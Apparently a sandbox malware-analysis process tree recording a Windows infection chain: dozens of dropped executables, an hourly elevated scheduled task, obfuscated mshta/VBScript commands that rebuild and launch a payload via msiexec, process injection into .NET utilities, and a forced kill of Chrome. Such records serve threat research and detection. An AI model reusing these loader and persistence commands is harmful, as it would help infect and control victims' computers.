C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5976
-
-
-
C:\Users\Admin\Pictures\Adobe Films\6BmKo7MxK7t02022jlpwrP45.exe"C:\Users\Admin\Pictures\Adobe Films\6BmKo7MxK7t02022jlpwrP45.exe"2⤵PID:4560
-
C:\Program Files (x86)\Company\NewProduct\inst2.exe"C:\Program Files (x86)\Company\NewProduct\inst2.exe"3⤵PID:4232
-
-
C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"3⤵PID:4344
-
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"3⤵PID:4608
-
-
-
C:\Users\Admin\Pictures\Adobe Films\SJTm09OvvhrRP6hiKvGLFxwL.exe"C:\Users\Admin\Pictures\Adobe Films\SJTm09OvvhrRP6hiKvGLFxwL.exe"2⤵PID:4708
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 6683⤵
- Program crash
PID:4468
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 6803⤵
- Program crash
PID:5652
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 6403⤵
- Program crash
PID:1816
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 6523⤵
- Program crash
PID:5440
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 7683⤵
- Program crash
PID:3860
-
-
-
C:\Users\Admin\Pictures\Adobe Films\bnQnrz9kaDyhRVFy3WdGFvlO.exe"C:\Users\Admin\Pictures\Adobe Films\bnQnrz9kaDyhRVFy3WdGFvlO.exe"2⤵PID:5072
-
-
C:\Users\Admin\Pictures\Adobe Films\oQeSlv94nlGvYSFlGcMwMf1r.exe"C:\Users\Admin\Pictures\Adobe Films\oQeSlv94nlGvYSFlGcMwMf1r.exe"2⤵PID:1704
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd3⤵PID:4732
-
-
-
C:\Users\Admin\Pictures\Adobe Films\nLIQT2kuH93ttPzjHKAu9U8s.exe"C:\Users\Admin\Pictures\Adobe Films\nLIQT2kuH93ttPzjHKAu9U8s.exe"2⤵PID:5008
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd3⤵PID:4920
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Q9YokIhWUxLqdWfvXrscRqqr.exe"C:\Users\Admin\Pictures\Adobe Films\Q9YokIhWUxLqdWfvXrscRqqr.exe"2⤵PID:4976
-
C:\Users\Admin\Pictures\Adobe Films\Q9YokIhWUxLqdWfvXrscRqqr.exe"C:\Users\Admin\Pictures\Adobe Films\Q9YokIhWUxLqdWfvXrscRqqr.exe"3⤵PID:4636
-
-
-
C:\Users\Admin\Pictures\Adobe Films\iN6zLiWRVInw9tMkHf9wUui5.exe"C:\Users\Admin\Pictures\Adobe Films\iN6zLiWRVInw9tMkHf9wUui5.exe"2⤵PID:4472
-
C:\Users\Admin\Pictures\Adobe Films\iN6zLiWRVInw9tMkHf9wUui5.exe"C:\Users\Admin\Pictures\Adobe Films\iN6zLiWRVInw9tMkHf9wUui5.exe"3⤵PID:5664
-
-
-
C:\Users\Admin\Pictures\Adobe Films\45lNqDq2jz6ljgrxlFP93ddB.exe"C:\Users\Admin\Pictures\Adobe Films\45lNqDq2jz6ljgrxlFP93ddB.exe"2⤵PID:1664
-
-
C:\Users\Admin\Pictures\Adobe Films\bhGqkGwmrmfC3PBeMokdIHYI.exe"C:\Users\Admin\Pictures\Adobe Films\bhGqkGwmrmfC3PBeMokdIHYI.exe"2⤵PID:4356
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵PID:4592
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4356 -s 5643⤵
- Program crash
PID:5200
-
-
-
C:\Users\Admin\Pictures\Adobe Films\8qpU9lTVn1iY87_v1HlMAoiG.exe"C:\Users\Admin\Pictures\Adobe Films\8qpU9lTVn1iY87_v1HlMAoiG.exe"2⤵PID:4784
-
C:\Users\Admin\AppData\Roaming\821905.exe"C:\Users\Admin\AppData\Roaming\821905.exe"3⤵PID:6128
-
-
C:\Users\Admin\AppData\Roaming\1262746.exe"C:\Users\Admin\AppData\Roaming\1262746.exe"3⤵PID:6140
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵PID:4372
-
-
-
C:\Users\Admin\AppData\Roaming\8939580.exe"C:\Users\Admin\AppData\Roaming\8939580.exe"3⤵PID:5660
-
-
C:\Users\Admin\AppData\Roaming\8753522.exe"C:\Users\Admin\AppData\Roaming\8753522.exe"3⤵PID:5848
-
-
C:\Users\Admin\AppData\Roaming\3930231.exe"C:\Users\Admin\AppData\Roaming\3930231.exe"3⤵PID:5796
-
C:\Users\Admin\AppData\Roaming\8255216.exe"C:\Users\Admin\AppData\Roaming\8255216.exe"4⤵PID:3496
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPT: cLoSE( cReaTeoBJEcT( "WSCRIpt.shell" ). run("CMd.exe /R CopY /Y ""C:\Users\Admin\AppData\Roaming\8255216.exe"" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~&IF """" == """" for %H In ( ""C:\Users\Admin\AppData\Roaming\8255216.exe"") do taskkill -f -IM ""%~NXH"" " ,0 , TruE ) )5⤵PID:5820
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R CopY /Y "C:\Users\Admin\AppData\Roaming\8255216.exe" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~&IF "" == "" for %H In ("C:\Users\Admin\AppData\Roaming\8255216.exe") do taskkill -f -IM "%~NXH"6⤵PID:3396
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -IM "8255216.exe"7⤵
- Kills process with taskkill
PID:5788
-
-
C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.ExeB3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~7⤵PID:5472
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPT: cLoSE( cReaTeoBJEcT( "WSCRIpt.shell" ). run("CMd.exe /R CopY /Y ""C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe"" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~&IF ""-PMifyM2k9jEYOlA~"" == """" for %H In ( ""C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe"") do taskkill -f -IM ""%~NXH"" " ,0 , TruE ) )8⤵PID:4468
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R CopY /Y "C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~&IF "-PMifyM2k9jEYOlA~" == "" for %H In ("C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe") do taskkill -f -IM "%~NXH"9⤵PID:4444
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:CloSe ( CReAteoBjeCt ( "WsCrIPT.sHeLl" ). ruN( "CMd.ExE /C ECHo | Set /P = ""MZ"" > BK_ULGWs.W & coPY /y /B BK_ULGWS.W + raenh4.11P + Lx4C0.R1v BUURm.E & dEl rAeNH4.11P Lx4C0.R1V BK_UlGWS.W& sTart msiexec /Y .\BUURm.E " , 0 , True ) )8⤵PID:4716
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ECHo | Set /P = "MZ" >BK_ULGWs.W & coPY /y /B BK_ULGWS.W+ raenh4.11P + Lx4C0.R1v BUURm.E &dEl rAeNH4.11P Lx4C0.R1V BK_UlGWS.W&sTart msiexec /Y .\BUURm.E9⤵PID:1052
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHo "10⤵PID:4924
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>BK_ULGWs.W"10⤵PID:4468
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec /Y .\BUURm.E10⤵PID:5556
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\6628600.exe"C:\Users\Admin\AppData\Roaming\6628600.exe"4⤵PID:5860
-
-
-
C:\Users\Admin\AppData\Roaming\2616361.exe"C:\Users\Admin\AppData\Roaming\2616361.exe"3⤵PID:4396
-
-
-
C:\Users\Admin\Pictures\Adobe Films\wWFLRrSnHSrKsHTMrG8AB7wq.exe"C:\Users\Admin\Pictures\Adobe Films\wWFLRrSnHSrKsHTMrG8AB7wq.exe"2⤵PID:4716
-
C:\Users\Admin\Pictures\Adobe Films\wWFLRrSnHSrKsHTMrG8AB7wq.exe"C:\Users\Admin\Pictures\Adobe Films\wWFLRrSnHSrKsHTMrG8AB7wq.exe"3⤵PID:5940
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sKMqNjDaAdKHPiL3brIbw1lK.exe"C:\Users\Admin\Pictures\Adobe Films\sKMqNjDaAdKHPiL3brIbw1lK.exe"2⤵PID:4504
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd3⤵PID:5392
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HmbBAXEG28a_Z4_sALqLszJC.exe"C:\Users\Admin\Pictures\Adobe Films\HmbBAXEG28a_Z4_sALqLszJC.exe"2⤵PID:4368
-
-
C:\Users\Admin\Pictures\Adobe Films\9H6ZgusKjB35Pm8B1r4_biyx.exe"C:\Users\Admin\Pictures\Adobe Films\9H6ZgusKjB35Pm8B1r4_biyx.exe"2⤵PID:4640
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵PID:1908
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4640 -s 5443⤵
- Program crash
PID:5340
-
-
-
C:\Users\Admin\Pictures\Adobe Films\0uISHNYrSH144RyKtXRSfLGM.exe"C:\Users\Admin\Pictures\Adobe Films\0uISHNYrSH144RyKtXRSfLGM.exe"2⤵PID:3008
-
-
C:\Users\Admin\Pictures\Adobe Films\iyntbep2pZErkCw928pqchkq.exe"C:\Users\Admin\Pictures\Adobe Films\iyntbep2pZErkCw928pqchkq.exe"2⤵PID:5092
-
-
C:\Users\Admin\Pictures\Adobe Films\otHZmkYLE_EtLMYFGwnyMZRW.exe"C:\Users\Admin\Pictures\Adobe Films\otHZmkYLE_EtLMYFGwnyMZRW.exe"2⤵PID:4992
-
-
C:\Users\Admin\Pictures\Adobe Films\2FKDtGIDPVxxEdEdMY3lRyg8.exe"C:\Users\Admin\Pictures\Adobe Films\2FKDtGIDPVxxEdEdMY3lRyg8.exe"2⤵PID:1920
-
-
C:\Users\Admin\Pictures\Adobe Films\dv79091RElUKv7tScHcHiA21.exe"C:\Users\Admin\Pictures\Adobe Films\dv79091RElUKv7tScHcHiA21.exe"2⤵PID:1368
-
-
C:\Users\Admin\Pictures\Adobe Films\KrhGpbXtQUj9op22aBUJjwsU.exe"C:\Users\Admin\Pictures\Adobe Films\KrhGpbXtQUj9op22aBUJjwsU.exe"2⤵PID:4816
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵PID:6092
-
-
-
C:\Users\Admin\Pictures\Adobe Films\qra_89i_RqHQh1Y7PFDok_Bn.exe"C:\Users\Admin\Pictures\Adobe Films\qra_89i_RqHQh1Y7PFDok_Bn.exe"2⤵PID:1348
-
-
C:\Users\Admin\Pictures\Adobe Films\PgitL9mQo8DfCPHzaijbvlN5.exe"C:\Users\Admin\Pictures\Adobe Films\PgitL9mQo8DfCPHzaijbvlN5.exe"2⤵PID:4620
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵PID:2056
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
PID:5744
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\_quC4Jp7VtViBUUwPMipJAtQ.exe"C:\Users\Admin\Pictures\Adobe Films\_quC4Jp7VtViBUUwPMipJAtQ.exe"2⤵PID:5912
-
C:\Users\Admin\AppData\Local\Temp\is-IIDS6.tmp\_quC4Jp7VtViBUUwPMipJAtQ.tmp"C:\Users\Admin\AppData\Local\Temp\is-IIDS6.tmp\_quC4Jp7VtViBUUwPMipJAtQ.tmp" /SL5="$80412,506127,422400,C:\Users\Admin\Pictures\Adobe Films\_quC4Jp7VtViBUUwPMipJAtQ.exe"3⤵PID:4088
-
C:\Users\Admin\AppData\Local\Temp\is-638H7.tmp\lakazet.exe"C:\Users\Admin\AppData\Local\Temp\is-638H7.tmp\lakazet.exe" /S /UID=27094⤵PID:1816
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22621a9647becc9.exeMon22621a9647becc9.exe1⤵
- Executes dropped EXE
PID:3232
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon223a1e1e377e2524.exeMon223a1e1e377e2524.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22ef09abdc.exeMon22ef09abdc.exe /mixtwo1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2100
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4452 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4496
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4804